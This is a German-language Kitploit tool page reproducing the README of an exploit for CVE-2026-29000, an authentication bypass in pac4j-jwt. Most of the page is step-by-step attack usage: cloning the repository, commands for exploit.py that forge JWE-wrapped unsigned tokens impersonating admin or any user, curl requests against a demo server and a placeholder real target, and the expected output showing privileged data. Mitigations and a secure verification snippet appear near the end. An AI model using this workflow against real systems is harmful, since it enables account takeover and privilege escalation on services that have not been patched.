Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-29000 — Exploit für CVE-2026-29000, eine JWT-Authentifizierungsumgehung in pac4j-jwt über JWE-verpacktes PlainJWT, die Token-Fälschung und Privilegieneskalation ermöglicht. | Kitploit
Tools/GitHubGitHub/rootx111/cve-2026-29000
Authentifizierung & AutorisierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHubrootx111/cve-2026-29000

cve-2026-29000

Exploit für CVE-2026-29000, eine JWT-Authentifizierungsumgehung in pac4j-jwt über JWE-verpacktes PlainJWT, die Token-Fälschung und Privilegieneskalation ermöglicht.

Repository anzeigen
21vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-29000 Exploit

JWT-Authentifizierungs-Bypass in pac4j-jwt über JWE-verpackte PlainJWT

Beschreibung der Schwachstelle

CVE-2026-29000 ist eine kritische Authentifizierungs-Bypass-Schwachstelle, die pac4j-jwt-Versionen vor 4.5.9, 5.7.9 und 6.3.3 betrifft. Die Schwachstelle ermöglicht es entfernten Angreifern, Authentifizierungstokens zu fälschen und die Signaturprüfung zu umgehen.

Technische Details

Die Schwachstelle existiert in der Komponente JwtAuthenticator bei der Verarbeitung verschlüsselter JWTs (JWE). Wenn ein JWE-Token empfangen wird:

  1. Der Server entschlüsselt das JWE mit seinem RSA-Private-Key
  2. Der entschlüsselte Inhalt offenbart ein inneres JWT
  3. SCHWACHSTELLE: Der Server extrahiert Claims aus dem inneren JWT, ohne dessen Signatur zu verifizieren
  4. Angreifer können ein JWE erstellen, das ein PlainJWT (Algorithmus: "none") mit beliebigen Claims umhüllt

Angriffsvoraussetzungen

  • Zugriff auf den RSA-Public-Key des Servers (häufig über den JWKS-Endpunkt exponiert)
  • Fähigkeit, manipulierte Tokens an die verwundbare Anwendung zu senden

Auswirkungen

  • Vollständiger Authentifizierungs-Bypass: Angreifer können sich als beliebiger Benutzer authentifizieren
  • Privilegienerweiterung: Können beliebige Rollen zuweisen, einschließlich Administratorrollen
  • Session-Hijacking: Können legitime Benutzer ohne Anmeldedaten impersonieren

Betroffene Versionen

  • pac4j-jwt < 4.5.9
  • pac4j-jwt < 5.7.9
  • pac4j-jwt < 6.3.3

Repository-Inhalt

  • exploit.py - Python-Exploit-Skript zur Generierung bösartiger Tokens
  • vulnerable_server.py - Demonstrationsserver, der die Schwachstelle simuliert
  • requirements.txt - Python-Abhängigkeiten
  • README.md - Diese Datei

Installation

Voraussetzungen

  • Python 3.8 oder höher
  • pip-Paketmanager

Einrichtung

root@kitploit:~
# Repository klonen
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000

# Abhängigkeiten installieren
pip3 install -r requirements.txt

Verwendung

Schritt 1: Verwundbaren Testserver starten

root@kitploit:~
python3 vulnerable_server.py

Der Server wird:

  • Ein RSA-Schlüsselpaar generieren (gespeichert als server_private.pem und server_public.pem)
  • Auf http://127.0.0.1:5000 starten
  • Den Public-Key unter http://127.0.0.1:5000/public-key bereitstellen

Schritt 2: Public-Key des Ziels abrufen

In einem realen Angriffsszenario den Public-Key vom Zielserver abrufen:

root@kitploit:~
# Public-Key vom JWKS-Endpunkt herunterladen
curl http://target-server.com/jwks > target_jwks.json

# Oder direkter Public-Key-Endpunkt
curl http://target-server.com/public-key > target_public.pem

Für den Testserver:

root@kitploit:~
curl http://127.0.0.1:5000/public-key > server_public.pem

Schritt 3: Bösartiges Token generieren

Das Exploit-Skript verwenden, um ein JWE-verpacktes PlainJWT zu erstellen:

root@kitploit:~
# Grundlegende Verwendung - als Admin authentifizieren
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem

# Als bestimmter Benutzer mit mehreren Rollen authentifizieren
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem

# Benutzerdefinierte Claims hinzufügen
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","department":"IT"}'

# Token in Datei speichern
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --output malicious_token.txt

Schritt 4: Den Angriff testen

Test gegen den verwundbaren Server

root@kitploit:~
# Das bösartige Token setzen (aus der exploit.py-Ausgabe kopieren)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."

# Öffentlichen Endpunkt aufrufen (sollte funktionieren)
curl http://127.0.0.1:5000/api/public

# Benutzer-Endpunkt mit bösartigem Token aufrufen (BYPASS!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# Admin-Endpunkt mit bösartigem Token aufrufen (PRIVILEGIENERWEITERUNG!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

Erwartete erfolgreiche Ausgabe vom Admin-Endpunkt:

root@kitploit:~
{
  "status": "success",
  "message": "Admin endpoint accessed - RESTRICTED DATA",
  "user": "admin",
  "roles": ["ROLE_ADMIN"],
  "secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
  "admin_info": "This is sensitive administrative data"
}

Vollständiger Angriffs-Workflow

Vollständige Testbefehle

root@kitploit:~
# 1. Abhängigkeiten installieren
pip3 install -r requirements.txt

# 2. Verwundbaren Server starten (in Terminal 1)
python3 vulnerable_server.py

# 3. In einem neuen Terminal den Public-Key abrufen
curl http://127.0.0.1:5000/public-key > server_public.pem

# 4. Bösartiges Admin-Token generieren
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt

# 5. Token in Variable extrahieren
TOKEN=$(cat token.txt)

# 6. Öffentlichen Endpunkt testen (Basislinie - keine Authentifizierung erforderlich)
curl http://127.0.0.1:5000/api/public

# 7. Benutzer-Endpunkt testen (sollte mit unserem bösartigen Token erfolgreich sein)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# 8. Admin-Endpunkt testen (EXPLOIT ERFOLGREICH - sollte auf eingeschränkte Daten zugreifen)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

# 9. Überprüfen, ob die Antwort das Flag enthält
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'

Fortgeschrittene Angriffsszenarien

Szenario 1: Bestimmten Benutzer impersonieren

root@kitploit:~
python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem

Szenario 2: Zum Administrator eskalieren

root@kitploit:~
python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem

Szenario 3: Benutzerdefinierte Claims injizieren

root@kitploit:~
python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'

Exploit-Skript-Optionen

root@kitploit:~
usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
                  [--claims CLAIMS] [--generate-keypair] [--output OUTPUT]

CVE-2026-29000: Generate malicious JWE-wrapped PlainJWT tokens

options:
  -h, --help            show this help message and exit
  --subject SUBJECT, -s SUBJECT
                        Subject (username) to impersonate
  --roles ROLES, -r ROLES
                        Comma-separated list of roles (e.g., ROLE_ADMIN,ROLE_USER)
  --public-key PUBLIC_KEY, -k PUBLIC_KEY
                        Path to RSA public key PEM file
  --claims CLAIMS, -c CLAIMS
                        Additional claims as JSON string
  --generate-keypair, -g
                        Generate a test RSA keypair and save to files
  --output OUTPUT, -o OUTPUT
                        Output file for the generated token

Wie die Schwachstelle funktioniert

Normaler JWT-Ablauf (Sicher)

root@kitploit:~
1. Client sendet JWT mit Signatur
2. Server verifiziert Signatur mit Public-Key
3. Wenn gültig, Claims extrahieren
4. Zugriff basierend auf Claims gewähren

Verwundbarer Ablauf (CVE-2026-29000)

root@kitploit:~
1. Angreifer erhält den RSA-Public-Key des Servers
2. Angreifer erstellt PlainJWT (alg: none) mit beliebigen Claims
   Beispiel: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. Angreifer verschlüsselt PlainJWT mit JWE unter Verwendung des Public-Keys des Servers
4. Server entschlüsselt JWE erfolgreich
5. Server extrahiert Claims aus dem inneren PlainJWT OHNE Signaturprüfung
6. Server gewährt Zugriff basierend auf gefälschten Claims

Warum es funktioniert

Die Schwachstelle tritt auf, weil:

  • JWE Vertraulichkeit, aber keine Integrität für den inneren Inhalt bietet
  • Der Server annimmt, dass erfolgreiche Entschlüsselung Authentizität impliziert
  • PlainJWT (alg: none) keine zu verifizierende Signatur hat
  • Claims allein deshalb vertraut wird, weil sie verschlüsselt wurden

Gegenmaßnahmen

Für Entwickler

  1. pac4j-jwt aktualisieren auf Version 4.5.9, 5.7.9, 6.3.3 oder höher
  2. Signaturen immer verifizieren auf inneren JWTs nach der JWE-Entschlüsselung
  3. PlainJWT-Tokens ablehnen (Algorithmus: "none")
  4. Algorithmus validieren im JWT-Header gegen eine Whitelist

Für Systemadministratoren

  1. Verwundbare Anwendungen sofort aktualisieren
  2. Authentifizierungsprotokolle auf verdächtige Aktivitäten prüfen
  3. Benutzersitzungen überprüfen und verdächtige Tokens widerrufen
  4. Implementierung zusätzlicher Authentifizierungsebenen in Betracht ziehen

Sichere Implementierung

root@kitploit:~
def verify_jwe_token_secure(token, private_key):
    # 1. JWE entschlüsseln
    inner_jwt = decrypt_jwe(token, private_key)

    # 2. Inneren JWT-Header parsen
    header = parse_jwt_header(inner_jwt)

    # 3. KRITISCH: Verifizieren, dass der Algorithmus nicht "none" ist
    if header.get('alg') == 'none':
        raise SecurityError("PlainJWT not allowed")

    # 4. KRITISCH: Signatur des inneren JWT verifizieren
    if not verify_jwt_signature(inner_jwt, public_key):
        raise SecurityError("Invalid JWT signature")

    # 5. Claims erst nach der Verifizierung extrahieren
    return extract_claims(inner_jwt)

Test-Checkliste

  • Abhängigkeiten installieren: pip3 install -r requirements.txt
  • Verwundbaren Server starten: python3 vulnerable_server.py
  • Public-Key abrufen: curl http://127.0.0.1:5000/public-key > server_public.pem
  • Bösartiges Token generieren: python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem
  • Öffentlichen Endpunkt testen: curl http://127.0.0.1:5000/api/public
  • Benutzer-Endpunkt mit Token testen: curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user
  • Admin-Endpunkt mit Token testen: curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

Schnellstart-Anleitung

root@kitploit:~
# Einzeiler-Einrichtung und Test
pip3 install -r requirements.txt && \
python3 vulnerable_server.py &
sleep 2 && \
curl http://127.0.0.1:5000/public-key > server_public.pem && \
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt && \
TOKEN=$(cat token.txt) && \
echo "Testing exploit..." && \
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

Referenzen

  • CVE-2026-29000 Advisory
  • pac4j Security Advisory
  • OWASP JWT Security Cheat Sheet
  • RFC 7519 (JSON Web Token)
  • RFC 7516 (JSON Web Encryption)

Haftungsausschluss

Dieses Tool wird ausschließlich für Bildungs- und autorisierte Sicherheitstestzwecke bereitgestellt. Unautorisierter Zugriff auf Computersysteme ist illegal. Verwenden Sie dieses Tool nur gegen Systeme, die Sie besitzen oder für die Sie eine ausdrückliche Testgenehmigung haben.

Lizenz

MIT-Lizenz - Nur für Bildungszwecke

Autor

Security Researcher Datum: 2026-03-16

Tool herunterladen
  • Überprüfen, ob das Flag erhalten wurde: Nach FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS} suchen